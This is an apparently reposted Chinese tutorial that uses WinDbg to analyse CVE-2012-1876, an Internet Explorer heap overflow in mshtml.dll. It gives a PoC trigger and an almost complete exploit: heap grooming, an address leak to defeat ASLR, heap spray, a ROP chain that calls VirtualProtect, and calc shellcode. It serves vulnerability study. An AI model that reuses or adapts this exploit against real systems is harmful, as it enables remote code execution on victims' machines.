CVE-2012-1876浅析-Internet Explorer堆溢出漏洞

来源:互联网 发布:java 反射机制和c# 编辑:程序博客网 时间:2024/06/03 13:07

本文转载自
WinDbg漏洞分析调试(一)
WinDbg漏洞分析调试(二)

引子

最近开始要在部门内进行WinDbg漏洞分析方面的专题showcase,打算将每次分享的内容整理成文章,希望能写一个系列。另外,鉴于笔者还在学习中,不对的地方还望各位多多指正。

概述

本文将作为此系列的开篇,首先会提及Windows进程的知识,而后就进入正式的漏洞分析,此次选的是一个IE漏洞(CVE-2012-1876)。需要说明一点,随着微软在自身安全上的不断改进,漏洞利用的难度也越来越大,出于学习目的这里主要关注比较经典的漏洞,虽然有些可能比较老了,但还是很有借鉴意义的。

Windows进程

下面将通过实际例子对Windows进程做个概述,内容比较基础。在逆向分析中,进程往往作为基本的调试单元,因此对其的理解是有必要的。这里我们先打开IE浏览器,可以知道对每个选项卡IE都会创建一个子进程来处理,接着我们打开WinDbg并附加到当前的IE页面进程,|和~命令可用于查看进程和线程的状态,注意前面有个小点的是此时所处的进程和线程,可以看到一个进程中包含有多个线程。

0:012> |  .  0  id: ed8    attach  name: C:\Program Files\Internet Explorer\iexplore.exe0:012> ~     0  Id: ed8.edc Suspend: 1 Teb: 7ffde000 Unfrozen   1  Id: ed8.ee0 Suspend: 1 Teb: 7ffdd000 Unfrozen   2  Id: ed8.ee4 Suspend: 1 Teb: 7ffdc000 Unfrozen   3  Id: ed8.ee8 Suspend: 1 Teb: 7ffdb000 Unfrozen   4  Id: ed8.eec Suspend: 1 Teb: 7ffda000 Unfrozen   5  Id: ed8.ef0 Suspend: 1 Teb: 7ffd9000 Unfrozen   6  Id: ed8.ef4 Suspend: 1 Teb: 7ffd8000 Unfrozen   7  Id: ed8.ef8 Suspend: 1 Teb: 7ffd7000 Unfrozen   8  Id: ed8.efc Suspend: 1 Teb: 7ffd6000 Unfrozen   9  Id: ed8.f00 Suspend: 1 Teb: 7ffd5000 Unfrozen  10  Id: ed8.f04 Suspend: 1 Teb: 7ffd4000 Unfrozen  11  Id: ed8.f08 Suspend: 1 Teb: 7ffd3000 Unfrozen. 12  Id: ed8.f4c Suspend: 1 Teb: 7ff9f000 Unfrozen

当然,如果需要WinDbg也是可以同时调试多个进程的,更详细的内容我们可以通过!peb和!teb命令来查看,其中PEB(Process Environment Block)存放着进程信息,而TEB(Thread Environment Block)则存放着线程信息。同时,通过!address命令可列出进程的地址空间信息,如下是用户模式下从地址0x00000000开始到0x80000000的信息,只给出部分。

0:012> !address  BaseAddr EndAddr+1 RgnSize     Type       State                 Protect             Usage-------------------------------------------------------------------------------------------*        0    10000    10000             MEM_FREE    PAGE_NOACCESS                      Free *    10000    20000    10000 MEM_MAPPED  MEM_COMMIT  PAGE_READWRITE                     MemoryMappedFile "PageFile"*    20000    27000     7000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      MemoryMappedFile "PageFile"......*  12b0000  12b1000     1000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image "C:\Program Files\Internet Explorer\iexplore.exe"|- 12b1000  12bc000     b000 MEM_IMAGE   MEM_COMMIT  PAGE_EXECUTE_READ                  Image "C:\Program Files\Internet Explorer\iexplore.exe"|- 12bc000  12bd000     1000 MEM_IMAGE   MEM_COMMIT  PAGE_READWRITE                     Image "C:\Program Files\Internet Explorer\iexplore.exe"|- 12bd000  1356000    99000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image "C:\Program Files\Internet Explorer\iexplore.exe"*  1356000  1360000     a000             MEM_FREE    PAGE_NOACCESS                      Free *  1360000  172d000   3cd000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      MemoryMappedFile "PageFile"*  172d000  1730000     3000             MEM_FREE    PAGE_NOACCESS                      Free ......|- 3c0f000  3c10000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [ed8.f04; ~10]|- 3c10000  3c20000    10000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [ed8.f04; ~10]*  3c20000  3c21000     1000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat"|- 3c21000  3fa6000   385000 MEM_MAPPED  MEM_COMMIT  PAGE_WRITECOPY                     MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat"|- 3fa6000  3fa7000     1000 MEM_MAPPED  MEM_COMMIT  PAGE_READONLY                      MemoryMappedFile "\Device\HarddiskVolume2\Windows\System32\ieapfltr.dat"*  3fa7000  4110000   169000             MEM_FREE    PAGE_NOACCESS                      Free *  4110000  420a000    fa000 MEM_PRIVATE MEM_RESERVE                                    Stack [ed8.f4c; ~12]|- 420a000  420c000     2000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE|PAGE_GUARD          Stack [ed8.f4c; ~12]|- 420c000  4210000     4000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     Stack [ed8.f4c; ~12]*  4210000 5fff0000 5bde0000             MEM_FREE    PAGE_NOACCESS                      Free * 5fff0000 60000000    10000 MEM_PRIVATE MEM_COMMIT  PAGE_EXECUTE_READ                  <unclassified> * 60000000 6af50000  af50000             MEM_FREE    PAGE_NOACCESS                      Free * 6af50000 6af51000     1000 MEM_IMAGE   MEM_COMMIT  PAGE_READONLY                      Image "C:\Windows\System32\mshtml.dll"|-6af51000 6b488000   537000 MEM_IMAGE   MEM_COMMIT  PAGE_EXECUTE_READ                  Image "C:\Windows\System32\mshtml.dll"......* 7ffde000 7ffdf000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     TEB [ed8.edc; ~0]* 7ffdf000 7ffe0000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READWRITE                     PEB [ed8]* 7ffe0000 7ffe1000     1000 MEM_PRIVATE MEM_COMMIT  PAGE_READONLY                      <unclassified> |-7ffe1000 7fff0000     f000 MEM_PRIVATE MEM_RESERVE PAGE_NOACCESS                      <unclassified> 

可以看到用户进程空间中一般包含主模块、共享模块、堆栈资源等,相应的虚拟内存页也都有着各自的属性状态。那么对于这样的进程是如何从无到有创建起来的呢?这就不得不提PE格式了,比如上面的exe、dll模块都是属于这种类型的文件,简单来看PE文件包含了DOS头、PE头、节表以及节数据,二进制数据将按装入内存后的页属性归类到不同的节中,而各个节中的数据按用途又可以被分为导出表、导入表、重定位表等数据块,通过!dh [标志] 模块地址命令可以显示非常详细的PE头信息。当我们运行iexplore.exe的时候,操作系统将分配所需资源并按照此PE文件中的信息完成加载,即进程的创建。一般来说,PE文件的加载过程是由操作系统提供的PE Loader功能实现的,但我们也可以自己手动实现此过程,比如ReflectiveLoader这个技术,它就能在当前进程中完成一个独立dll的加载,一些勒索病毒就是用的这个技巧来躲避杀软。我们可以由此技术大体了解下PE Loader的功能,首先是查找kernel32等模块中的特定函数,即获取模块基址和处理PE格式,而后申请空间写入节数据、处理输入表和重定位表等,最后跳转到执行入口,即模拟原先操作系统的加载。我们可以简单看下如何获取kernel32模块的基址,这里由查找LDR链实现,即FS:[30]->_PEB_LDR_DATA->_LDR_DATA_TABLE_ENTRY。

0:012> dd fs:[30] L1  003b:00000030  7ffdf000  0:012> dt ntdll!_PEB 7ffdf000     ......   +0x003 SpareBits        : 0y000   +0x004 Mutant           : 0xffffffff Void   +0x008 ImageBaseAddress : 0x012b0000 Void   +0x00c Ldr              : 0x77797880 _PEB_LDR_DATA   +0x010 ProcessParameters : 0x00341170 _RTL_USER_PROCESS_PARAMETERS   ......0:012> dt ntdll!_PEB_LDR_DATA 0x77797880     +0x000 Length           : 0x30   +0x004 Initialized      : 0x1 ''   +0x008 SsHandle         : (null)    +0x00c InLoadOrderModuleList : _LIST_ENTRY [ 0x3419d0 - 0x3b29d0 ]   +0x014 InMemoryOrderModuleList : _LIST_ENTRY [ 0x3419d8 - 0x3b29d8 ]   +0x01c InInitializationOrderModuleList : _LIST_ENTRY [ 0x341a60 - 0x3b29e0 ]   +0x024 EntryInProgress  : (null)    +0x028 ShutdownInProgress : 0 ''   +0x02c ShutdownThreadId : (null) 0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x3419d0     +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341a50 - 0x7779788c ]   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341a58 - 0x77797894 ]   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x0 - 0x0 ]   +0x018 DllBase          : 0x012b0000 Void   +0x01c EntryPoint       : 0x012b1c9a Void   +0x020 SizeOfImage      : 0xa6000   +0x024 FullDllName      : _UNICODE_STRING "C:\Program Files\Internet Explorer\iexplore.exe"   +0x02c BaseDllName      : _UNICODE_STRING "iexplore.exe"   ......0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x341a50     +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341d48 - 0x3419d0 ]   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341d50 - 0x3419d8 ]   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x341e40 - 0x7779789c ]   +0x018 DllBase          : 0x776c0000 Void   +0x01c EntryPoint       : (null)    +0x020 SizeOfImage      : 0x13c000   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll"   +0x02c BaseDllName      : _UNICODE_STRING "ntdll.dll"   ......0:012> dt ntdll!_LDR_DATA_TABLE_ENTRY 0x341d48     +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x341e30 - 0x341a50 ]   +0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x341e38 - 0x341a58 ]   +0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x342688 - 0x341e40 ]   +0x018 DllBase          : 0x76340000 Void   +0x01c EntryPoint       : 0x7638bde4 Void   +0x020 SizeOfImage      : 0xd4000   +0x024 FullDllName      : _UNICODE_STRING "C:\Windows\system32\kernel32.dll"   +0x02c BaseDllName      : _UNICODE_STRING "kernel32.dll"   ......

这样我们就获取了kernel32模块的基址,接着就可以解析PE格式来继续后面的操作了。总体来看,要更好理解进程的创建需要了解相关的PE文件数据结构以及一些操作系统的数据结构,而WinDbg可以作为其中一个很好的学习工具,当然,完整的进程创建还是比较复杂的,除了这里关注的加载过程,还包括资源的分配管理等。最后提一下WinDbg,它的相关命令可以参考这里,实际操作几次会熟悉的快点,此外,一定要设置好符号文件,毕竟在没有源码的情况下如果能有符号文件,那么对调试二进制文件来说将有莫大的帮助。

漏洞简介

这是一个IE浏览器的漏洞,成功利用可实现远程代码执行,在Pwn2own 2012上VUPEN团队就用其攻陷了IE9。错误出在mshtml.dll这个模块的CTableLayout::CalculateMinMax函数里,程序在执行时会以HTML代码中\元素的span属性作为循环控制次数向堆空间写入数据,如果此span值设置的不当,那么就会引发堆溢出问题。其中mshtml.dll模块是IE中的重要组件,它用来解析页面中的HTML和CSS,我们后续的分析也主要集中在此模块中。如下列出了IE中的主要组件,可参考微软的说明。
这里写图片描述

漏洞成因

用到的分析环境为Win7 x86-IE 8.0.7601.17514,装完系统后默认的就是此IE版本,后面的分析都是在此环境下进行的。这部分内容我们将通过如下的PoC代码来梳理。

<html>  <body>      <table style="table-layout:fixed" >        <col id="132" width="41" span="6" >&nbsp </col>    </table>    <script>    function over_trigger() {        var obj_col = document.getElementById("132");        obj_col.width = "42765";        obj_col.span = 666;    }    setTimeout("over_trigger();",1);    </script></body>  </html>  

上述代码的功能还是很清晰的,最开始创建时span的属性值为6,而后通过js中的over_trigger()函数将其动态更新为666,当然,更新后的值可以是任意的,只要能保证溢出就可以了。另外,width的属性值和写入堆空间的内容有关,这个后面会再提。将PoC保存为html文件并双击打开,会弹出阻止提示,此时用WinDbg附加IE进程,附加列表中会有两个IE进程,选择后一个,即当前选项卡对应的子进程。这里假设你的符号文件都已经配置好了,我们通过.reload /f命令强制加载,lm命令可以查看加载的结果。首先我们设置好如下几个断点。
这里写图片描述
对于那些记不住的函数,我们可以通过x命令来查看一下,错误位置在CTableLayout::CalculateMinMax函数中,所以这个地方肯定要下个断点,又因为是堆溢出,所以_HeapRealloc函数也来个断点,最后的CTableCol::GetAAspan函数是用来获取span属性值的,1和2两个断点目前暂时禁用。g命令跑起来,在IE中允许阻止的内容,弹出警告直接确定,回到WinDbg可以看到程序第一次在CTableLayout::CalculateMinMax函数入口断下来了,这是处理最开始创建时span值为6的情况,查看调用栈。
这里写图片描述
我们看下CTableLayout::CalculateMinMax函数的声明。

void __thiscall CTableLayout::CalculateMinMax(CTableLayout *theTableLayoutObj, LPVOID lpUnknownStackBuffer);  

上述是IDA给出的结果,我们主要关注CTableLayout*这个变量,它是一个指针,由上面的kb命令可知其值为00658900。
这里写图片描述
这里写图片描述
程序申请了堆空间用于保存column的样式信息,每个样式信息占0x1C字节,有多少个样式信息由span属性值来确定,因此这里申请的堆空间大小为0x1C*6=0xA8,即_HeapRealloc函数入口断下后ecx寄存器的值,函数调用时的入参如果用到寄存器的话一般都是ecx,返回参数一般保存在eax中,同时注意随后分配的初始地址会保存到esi寄存器对应的地址处,可以看到此时的值由NULL变为0x046b5190了。继续运行程序会在CTableCol::GetAAspan处断下来,也就是获取span值作为写入样式信息时循环的控制次数,函数返回结果保存在eax中,此时的值为6。
这里写图片描述
再来看下程序向申请的堆空间写入样式信息的过程,我们在起始地址处下个写入断点。
这里写图片描述
这里写图片描述
这里写图片描述
从PoC中可以看到此时对应的width属性值为41,0x046b5190处写入的内容就为width值41*100=0x00001004,事实上程序断下来的时候0x1C个字节的样式信息都已写入完成。我们再单步往下跟一下。
这里写图片描述
可以看到出现了inc+cmp组合,可以猜想这应该就是控制堆空间写入样式信息的循环了,这几条汇编指令的意思就是ebp-14h对应的值每次加1,即每次循环后递增,ebp-24h对应的值每次加0x1C,即每次加一个样式信息的字节数,最后当前的循环次数和ebp+10h对应的值比较,即span属性值。为了验证这个猜想我们多跟几次这个过程,可以发现事实确是如此。好的,我们来看下通过js脚本动态更新span属性值后,也就是span值变为666时程序第二次在CTableLayout::CalculateMinMax函数入口断下后是个什么情形,理论上是要重新分配堆空间的,毕竟要多写入660个样式信息,而后再获取此时的span值作为循环控制次数,最后才向堆空间写入样式信息。我们来到程序此时断下来的地方,顺便看下之前确实是写入了6个样式信息。
这里写图片描述
这里写图片描述
继续往下应该是要分配堆空间了。
这里写图片描述
但我们却发现程序跳过了分配堆空间的过程,错误认为之前分配的空间已经足够而转去直接获取控制循环次数的span属性值eax,即0x29a=666。接下来和前面一样是写入样式信息的过程,不过这次是对只能容纳6个样式信息的堆空间写入了666个样式信息,从而引发了堆溢出错误。
这里写图片描述
可以看到ebp+10h对应此时的span属性值0x29a,所以程序最终将会执行666次循环。堆溢出发生后程序继续运行会造成内存访问违规,从而导致IE浏览器的崩溃。

漏洞利用

首先说明一点,我们这里讨论的利用方法如今大都存在防护手段了,比如用户模式下的EMET相对而言就加大了exploit的开发难度,但出于学习目的我们先不考虑这些。同时,和之前一样这里的分析环境也为Win7 x86-IE 8.0.7601.17514。本次分析中用到的Exp代码如下。

<html>  <body>  <div id="evil"></div>  <table style="table-layout:fixed"><col id="132" width="41" span="9">&nbsp;</col></table>  <script language='javascript'>//将字符串转换为整数function strtoint(str) {      return str.charCodeAt(1)*0x10000 + str.charCodeAt(0);}//初始化布局的字符串变量var free = "EEEE";  while ( free.length < 500 ) free += free;  var string1 = "AAAA";  while ( string1.length < 500 ) string1 += string1;  var string2 = "BBBB";  while ( string2.length < 500 ) string2 += string2;var fr = new Array();  var al = new Array();  var bl = new Array();  var div_container = document.getElementById("evil");  div_container.style.cssText = "display:none";//接着按字符串E、字符串A、字符串B、CButtonLayout对象进行堆空间布局for (var i=0; i < 500; i+=2) {      fr[i] = free.substring(0, (0x100-6)/2);    al[i] = string1.substring(0, (0x100-6)/2);    bl[i] = string2.substring(0, (0x100-6)/2);    var obj = document.createElement("button");    div_container.appendChild(obj);}//释放布局后字符串E对应的堆空间for (var i=200; i<500; i+=2 ) {      fr[i] = null;    CollectGarbage();}//进行ROP链中Gadget地址和参数的布局,并与填充数据以及shellcode拼接完成堆喷数据的初始化//最后执行堆喷将这些数据布局到内存中function heapspray(cbuttonlayout) {      CollectGarbage();    //处理各个Gadget的地址信息    var rop = cbuttonlayout + 4161; // RET    var rop = rop.toString(16);    var rop1 = rop.substring(4,8);    var rop2 = rop.substring(0,4); // } RET    //......省略,可参见https://www.exploit-db.com/exploits/24017/    var rop = cbuttonlayout + 408958; // PUSH ESP    var rop = rop.toString(16);    var rop23 = rop.substring(4,8);    var rop24 = rop.substring(0,4); // } RET    var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING    shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343"); // PADDING    shellcode+= unescape("%u4141%u4141"); // PADDING    //ROP链中的Gadget地址和参数布局,以实现栈转移和DEP绕过    shellcode+= unescape("%u"+rop1+"%u"+rop2); // RETN    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP # RETN    shellcode+= unescape("%u"+rop5+"%u"+rop6); // XCHG EAX,ESP # RETN    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP    shellcode+= unescape("%u"+rop3+"%u"+rop4); // POP EBP    shellcode+= unescape("%u"+rop7+"%u"+rop8); // POP EBP    shellcode+= unescape("%u1024%u0000"); // Size 0x00001024    shellcode+= unescape("%u"+rop9+"%u"+rop10); // POP EDX    shellcode+= unescape("%u0040%u0000"); // 0x00000040    shellcode+= unescape("%u"+rop11+"%u"+rop12); // POP ECX    shellcode+= unescape("%u"+writable1+"%u"+writable2); // Writable Location    shellcode+= unescape("%u"+rop13+"%u"+rop14); // POP EDI    shellcode+= unescape("%u"+rop1+"%u"+rop2); // RET    shellcode+= unescape("%u"+rop15+"%u"+rop16); // POP ESI    shellcode+= unescape("%u"+jmpeax1+"%u"+jmpeax2); // JMP EAX    shellcode+= unescape("%u"+rop17+"%u"+rop18); // POP EAX    shellcode+= unescape("%u"+vp1+"%u"+vp2); // VirtualProtect()    shellcode+= unescape("%u"+rop19+"%u"+rop20); // MOV EAX,DWORD PTR DS:[EAX]    shellcode+= unescape("%u"+rop21+"%u"+rop22); // PUSHAD    shellcode+= unescape("%u"+rop23+"%u"+rop24); // PUSH ESP    shellcode+= unescape("%u9090%u9090"); // NOPs    shellcode+= unescape("%u9090%u9090"); // NOPs    shellcode+= unescape("%u9090%u9090"); // NOPs    //弹出计算器的shellcode    shellcode+= unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +                              "%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +                              "%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +                              "%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +                              "%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +                              "%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +                              "%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +                              "%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +                              "%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +                              "%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +                              "%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +                              "%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +                              "%u6c61%u2e63%u7865%u0065");    //初始化堆喷数据    var padding = unescape("%u9090");    while (padding.length < 1000)        padding = padding + padding;    var padding = padding.substr(0, 1000 - shellcode.length);    shellcode+= padding;    while (shellcode.length < 100000)        shellcode = shellcode + shellcode;    var onemeg = shellcode.substr(0, 64*1024/2);    for (i=0; i<14; i++) {        onemeg += shellcode.substr(0, 64*1024/2);    }    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));    //通过堆喷布局rop和shellcode    var spray = new Array();    for (i=0; i<100; i++) {        spray[i] = onemeg.substr(0, onemeg.length);    }}//触发第一次堆溢出用以获取泄露的mshtml模块基址function leak() {      var leak_col = document.getElementById("132");    leak_col.width = "41";    leak_col.span = "19";}//计算mshtml模块基址,并通过堆喷进行rop和shellcode布局function get_leak() {      var str_addr = strtoint(bl[498].substring((0x100-6)/2+11,(0x100-6)/2+13));    str_addr = str_addr - 1410704;    setTimeout(function(){heapspray(str_addr)}, 50);}//触发第二次堆溢出用以覆盖虚表指针,使程序转到rop处执行function trigger_overflow() {      var evil_col = document.getElementById("132");    evil_col.width = "1278888";    evil_col.span = "29";}setTimeout(function(){leak()}, 400);  setTimeout(function(){get_leak()}, 450);  setTimeout(function(){trigger_overflow()}, 1000);</script>  </body>  </html>  

Exp执行完成后会弹出一个计算器,下面我们对其中利用到的各个技术点展开来讨论。我们需要想办法动态获取模块的基址,这样才能保证准确获取到Gadget,此Exp就是基于动态泄露的mshtml.dll模块基址实现的。通过相关资料我们知道读取mshtml!CButtonLayout对象的vftable值可以计算出mshtml.dll模块的基址,因为该值位于此模块中的固定偏移处,所以可被利用,接下来我们就分析下如何借助CVE-2012-1876这个漏洞来获取mshtml.dll模块的基址。最开始需要对堆空间进行布局,关键代码如下。

//初始化布局字符串变量var free = "EEEE";  while ( free.length < 500 ) free += free;  var string1 = "AAAA";  while ( string1.length < 500 ) string1 += string1;  var string2 = "BBBB";  while ( string2.length < 500 ) string2 += string2;  ......//进行堆空间的布局for (var i=0; i < 500; i+=2) {      fr[i] = free.substring(0, (0x100-6)/2);    al[i] = string1.substring(0, (0x100-6)/2);    bl[i] = string2.substring(0, (0x100-6)/2);    var obj = document.createElement("button");    div_container.appendChild(obj);}//释放布局后的某些堆空间for (var i=200; i<500; i+=2 ) {      fr[i] = null;    CollectGarbage();}

上述代码中的字符串将会分配到堆空间上,并且被转换成了BSTR对象,此对象包含头部和尾部,字符以unicode存储,头部4个字节表示字符串长度,尾部2个字节表示结束。比如执行一次下述代码对应的内存结构就应该如下。

al[i] = string1.substring(0, (0x100-6)/2);  

这里写图片描述
代码在布局时会连续填充字符串,由堆空间管理的性质可知分配的这些堆空间最终会紧挨在一起,因此内存中的分布会如上图那样彼此间相邻。同时,这里还利用了堆空间管理中的另一性质,即当某块堆空间被释放后如果接下来又有新的申请堆空间操作且此释放掉的空间大小合适,那么会将释放掉的该堆空间重新分配给此时的申请操作。我们注意下面代码。

<table style="table-layout:fixed"><col id="132" width="41" span="9">&nbsp;</col></table>  

就这里来说,程序将为其分配0x1C*9=0xFC字节大小的堆空间,而在布局时释放掉的那些堆空间大小为0x100字节,所以最后释放掉的那块堆空间将会重新分配来保存column的样式信息,最终内存中的分布会是如下这个样子。
这里写图片描述
为了计算mshtml.dll模块的基址,我们需要获取黄色区域标识的vftable数值,这里利用了堆溢出,同样,也是通过js代码动态更新span属性值的方式来达到目的。

function leak() {      var leak_col = document.getElementById("132");    leak_col.width = "41";    leak_col.span = "19";}

由于写入的样式信息个数超过了申请的堆空间所能容纳的个数,所以会造成堆溢出,此时的内存布局如下。
这里写图片描述
可以看到字符串B对应的长度字段值由原来的0x000000fa变成了0x00010048,因此该对象能访问的内存空间变广了,这样我们就能通过如下代码获取到CButtonLayout对象的vftable值,也就是黄色区域标识的数值,并最终计算得到mshtml.dll模块的基址。

function get_leak() {      var str_addr = strtoint(bl[498].substring((0x100-6)/2+11, (0x100-6)/2+13));    str_addr = str_addr - 1410704;    var hex = str_addr.toString(16);    alert("mshtml base: " + hex);    ......}

在得到mshtml.dll模块的基址后,我们就有机会构造相应ROP链来实现想要的功能了,那么现在需要解决另一个问题,也就是如何让程序跳到我们的ROP链中执行。此Exp首先会利用堆喷技术将ROP链中的Gadget地址和参数以及后面用到的shellcode布局到进程地址空间中的固定位置,而后再利用堆溢出重写CButtonLayout对象的虚表指针,使其指向前面提到的固定位置,这样当虚函数被调用时就会跳转到我们的ROP链中。
这里写图片描述

function trigger_overflow() {      var evil_col = document.getElementById("132");    evil_col.width = "1278888";    evil_col.span = "29";}

溢出后内存中的分布就变成了下述样子,原先的虚表指针被重写了,对应数值为width属性值1278888*100=0x079f6da0。
这里写图片描述
而0x079f6da0这个地址对应的进程空间我们可以通过堆喷进行控制,此时其中的内容如下。
这里写图片描述
接下来我们重点看下堆喷,如下是由Vmmap工具观察到的堆喷时进程地址空间的变化情况,其中,橘黄色标识的部分为堆空间数据,这里总共喷了100M字节大小的数据,从时间图可以看出堆空间的分配有个急剧的增长过程。
这里写图片描述
这里写图片描述
如下是单次堆喷数据的组织形式。

    //初始化堆喷数据    var padding = unescape("%u9090");    while (padding.length < 1000)        padding = padding + padding;    var padding = padding.substr(0, 1000 - shellcode.length);    shellcode+= padding;    while (shellcode.length < 100000)        shellcode = shellcode + shellcode;    var onemeg = shellcode.substr(0, 64*1024/2);    for (i=0; i<14; i++) {        onemeg += shellcode.substr(0, 64*1024/2);    }    onemeg += shellcode.substr(0, (64*1024/2)-(38/2));

需要注意一点,通过函数unescape可以避免字符被转成unicode,同时虽然从代码上看包含ROP+shellcode+padding的一个基本单元占的是1000字节,但内存中实际分配了2000字节,这也是为什么有那么多除2操作的原因了,代码给出的是从2000字节->0x10000字节->0x100000字节的组织过程。此外,由于堆空间管理的对齐性质,当然了,还有前面提到的彼此相邻的性质,所以分配到的堆空间将类似下面这个样子。
这里写图片描述
通过分析可以知道对于申请大小为0x100000字节的堆空间会有0x24字节的首部和0x02字节的尾部,同时Exp中在ROP+shellcode之前会有如下的填充字节。

    var shellcode = unescape("%u4141%u4141%u4242%u4242%u4343%u4343");    shellcode+= unescape("%u4141%u4141%u4242%u4242%u4343%u4343");    shellcode+= unescape("%u4141%u4141"); // PADDING

综上分析,我们就可以计算出ROP+shellcode在进程空间中的分布情况了,如下代码是用于计算从地址空间0x07500000开始到0x08000000中符合条件的所有width属性值,从中选出一个能稳定利用的就可以了。

    for(i=0x07500000; i < 0x08000000; i += 0x10000)    {        for(j=0x40; j < 0x10000; j += 2000)        {            if((i+j)%100 == 0){                printf("%d ", (i+j)/100);            }        }    }

得到的结果如下,只列出了部分,这也就是为什么我们可以通过堆喷的方式来对payload进行布局了,首先需要设计好包含ROP+shellcode的堆喷数据,而后借助堆喷技术就能将其布局到我们可以预测的地址处了。
这里写图片描述
我们现在已经能够将程序的执行流程引到我们的ROP链中了,Stack Pivot之后调用VirtualProtect绕过DEP,最终程序会转到弹出计算器的shellcode上执行。

阅读全文
0 0
原创粉丝点击